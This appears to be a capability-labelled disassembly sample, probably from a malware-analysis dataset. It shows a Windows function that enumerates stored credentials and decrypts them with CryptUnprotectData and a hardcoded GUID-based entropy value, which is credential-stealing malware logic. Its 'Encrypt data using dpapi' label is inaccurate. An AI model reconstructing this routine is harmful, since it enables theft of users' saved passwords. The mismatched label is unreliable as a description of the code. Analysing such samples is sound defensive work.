Function at 0x408d46
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
mov dword [ebp - 0x14], str.abe2869f_9b47_4cd9_a358_c22904dba7f7
mov dword [esp], 0x413f78
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [ebp - 0x18], eax
mov dword [esp + 4], str.CredEnumerateA
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], str.CredFree
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xc], 0
jmp 0x408dc7
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
lea edx, [eax*4]
mov eax, dword [ebp - 0xc]
mov word [ebp + eax*2 - 0x86], dx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x24
jbe 0x408da3
lea eax, [ebp - 0x86]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], 0x4a
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x98], 0
lea eax, [ebp - 0x90]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x8c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [ebp - 0x1c]
call eax
sub esp, 0x10
test eax, eax
je 0x408f8e
mov dword [ebp - 0xc], 0
jmp 0x408f6e
mov eax, dword [ebp - 0x90]
mov edx, dword [ebp - 0xc]
shl edx, 2
add eax, edx
mov eax, dword [eax]
mov eax, dword [eax + 4]
cmp eax, 1
jne 0x408f6a
mov eax, dword [ebp - 0x90]
mov edx, dword [ebp - 0xc]
shl edx, 2
add eax, edx
mov eax, dword [eax]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x90]
mov edx, dword [ebp - 0xc]
shl edx, 2
add eax, edx
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x34]
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x3c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sub.CRYPT32.DLL_CryptUnprotectData
sub esp, 0x1c
test eax, eax
je 0x408f6a
mov eax, dword [ebp - 0x90]
mov edx, dword [ebp - 0xc]
shl edx, 2
add eax, edx
mov eax, dword [eax]
mov eax, dword [eax + 8]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
cmp eax, 0x12
ja 0x408ee8
jmp 0x408f6a
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x90]
mov ecx, dword [ebp - 0xc]
shl ecx, 2
add edx, ecx
mov edx, dword [edx]
mov edx, dword [edx + 8]
add edx, 0x12
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], edx
mov dword [esp + 8], 2
mov dword [esp + 4], str._c_s_a_S_b_b_b_b
lea eax, [ebp - 0x98]
mov dword [esp], eax
call fcn.0040af50
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xffffffff
je 0x408f6a
mov dword [esp + 0x10], 1
mov eax, dword [ebp - 0x24]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x98]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x94]
mov dword [esp], eax
call fcn.0040b2cb
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 0x10], eax
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0xc], eax
jb 0x408e37
mov eax, dword [ebp - 0x90]
mov dword [esp], eax
mov eax, dword [ebp - 0x20]
call eax
sub esp, 4
mov eax, dword [ebp - 0x94]
leave
ret